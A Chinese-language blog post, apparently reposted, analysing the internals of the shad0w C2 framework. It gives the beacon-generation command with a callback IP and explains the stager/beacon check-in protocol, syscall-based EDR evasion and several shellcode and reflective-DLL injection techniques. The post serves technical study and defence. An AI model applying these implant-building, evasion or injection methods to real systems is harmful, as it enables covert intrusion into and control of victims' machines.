暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

shad0w原理分析 part 1

谢公子学安全 2021-10-18
674
-shad0w分析 part 1


链接:https://github.com/bats3c/shad0w/

注:本文仅做技术分享,切勿用于非法用途!违法必抓!

01 生成木马的方式
由作者的介绍可以得知,shad0w生成木马的命令为

python3 shad0w.py beacon -p x64/windows/secure -H 192.168.1.81 -f exe -o beacon.exe

payload 分为两种:

  • 1、x64/windows/secure 分步加载

  • 2、x64/windows/secure/static 直接生成beacon

secure 分步加载


get_payload_variables函数是对传入的payload参数进行提取,提取出4个变量

1. self.arch 位数(x64,x86)
2. self.platform 环境windows
3. self.secure 是否启用保护
4. self.static 是否直接生成beacon




由上面提取的static变量判断是否分步执行,如果static为null,则将stager目录下的所有文件拷贝到build里面。



并更新配置信息,更新的主要为
_C2_CALLBACK_ADDRESS 回连ip
_C2_CALLBACK_PORT 回连端口



下一步为编译build里面的内容,
1、如果使用了secure,则会在makelist中添加宏变量secure(此变量用处为beacon中启用syscall)
2、_crypt_strings 会异或加密函数名并将加密后字符串和key写入到strings.h
3、使用make编译stager 



最后,payload_format.create函数中将stager变成shellcode



根据输出结果对输出内容进行判断,如果为raw直接生成shellcode,exe 是先生成shellcode,再将shellcode写入一个加载器编译成exe,dll也是一样。



shellcode生成是使用donut这个项目




static 生成beacon


静态是将src或者injectable目录的代码拷贝到build编译生成,后面步骤和上面一样。(经测试src生成的beacon功能存在bug,此处我直接使用injectable中代码生成beacon)


02 stager和beacon
stager

stager代码再beacon/stager下



stager功能代码较为简单
第一步、向服务器请求beacon
简单说是使用winhttp库发起https请求
向/stager发起post请求,参数是payload=x64/windows/secure/static(定义了secure)或payload=x64/windows/static(没有secure)(x64,x86是根据系统位数判断)



beacon会在shad0w启动listen时生成




过程和第一步生成stager的时候一样,不过生成的位置是在/tmp/beacon_id/build下面。生成的exe转成shellcode进行base64编码会存入shad0w.payloads"x64_secure_static"。 




服务端是使用flask启动的服务器,会在控制端请求/stager返回shad0w.payloads["x64_secure_static"]["bin"]的内容。
第二步、使用shellcode加载器加载beacon



beacon

第一步、收集用户信息、 NetBIOS



首先获取sid,后通过sid获取username、domain 



获取机器的位数、系统版本、是否编译时定义secure



第二步向服务端注册信息




向/register 发送上面收集的信息(username、domain、netbios、位数、系统版本、是否开启secure)



会将服务端返回的id记录在IdBuffer中。



服务端会记录用户信息,机器信息并生成beacon_id,返回beacon_id 第三步 会根据sleep休眠时间定期向服务端发送心跳包。



心跳包发送的方式为





向/tasks发起请求,参数为之前获取的beacon_id



解析返回结果。task用于后续用于判断执行方式。
InjectExecuteCode:注入shellcode于一个运行的进程。
SpawnExecuteCode: 新启一个进程注入shellcode
Stdlib:自带库。
InjectExecuteDll:反射型dll注入注入dll。
args为后续操作执行的内容。




服务端处理




在请求中获取beacon_id。opcode, data是在后续执行命令时获取,心跳包控制端只传递beacon_id。



opcode为0, data为空 即心跳包传递。



返回存活状态和task(0x1000)。(在beacon中0x1000为跳出)



03 免杀方式syscall介绍

shad0w使用的syscall的方式并不是硬编码,而是在程序执行开始时读取ntdll并将其写入到内存,从而实现避免被edr/av hook。



先看一个函数使用syscall执行的流程。



ParseNtdll(&NtdllInfo, &rSyscall);

MakeSyscall("NtOpenThread", NtdllInfo.pExprtDir, NtdllInfo.lpRawData, NtdllInfo.pTextSection, NtdllInfo.pRdataSection, SyscallStub);

rSyscall.NtOpenThread(&hThread, PROCESS_ALL_ACCESS, &ObjectAttributes, &uTid);

CleanSyscall(SyscallStub);




说一下syscall执行的流程

1. 在程序执行开始时将ntdll.dll写入内存
2. 解析ntdll的.text,.rdata节:
   .text里面存储导出函数执行的代码 .rdata里面存储的是导出函数的名称
3. 在内存中找到要调用的函数(比如:NtOpenThread),将其拷贝到内存其他位置
4. 声明函数原型
5. 定义函数类型的变量指向内存,通过变量调用系统调用。


04 执行方式介绍
1.InjectExecuteCode
  1. 首先通过进程的pid打开进程。

  2. 将内存属性更改为可读可写,将shellcode拷贝到内存。

  3. 改为内存属性为可读可写可执行。

  4. 获取当前线程的句柄,挂起线程。

  5. 获取目标线程的上下文

  6. 设置rip(程序指令寄存器)的地址为shellcode的地址

  7. 恢复线程

  8. shellcode执行


2.SpawnExecuteCode
  1. 创建匿名管道,创建线程从匿名管道读取结果,向服务端发送结果。 




2.创建进程,在进程中分配内存,写入shellcode,apc注入执行 


3.Stdlib


这个是控制端自写的一些功能,主要是从服务端接受命令并进入相应的函数去执行。这个在将命令模块的时候再具体介绍。

4.InjectExecuteDll

1、这个函数主要是通过pe文件格式解析导出表,找到ReflectiveLoader函数的入口点地址。2、通过前面InjectExecuteCode方法的挂起线程,将程序寄存器(rip)地址改成ReflectiveLoader函数的地址。3、ReflectiveLoader会恢复dll在内存中的位置从而执行。



未完待续


对shad0w的命令模块还没有进行介绍。

1. 命令模块存在一些bug
2. 大量的模块都是通过将exe转成shellcode,再通过SpawnExecuteCode的方式执行,需要将一些常用的模块二次开发后再进行介绍。
3. 目前已经重写upload,download模块。
4. 后续添加shell执行命令的模块,将shellcode加载部分更改加载方式,不使用在其他进程中加载。


如果想跟我一起讨论的话,就快加入我的知识星球吧。星球里有一千多位同样爱好安全技术的小伙伴一起交流!

END
文章转载自谢公子学安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论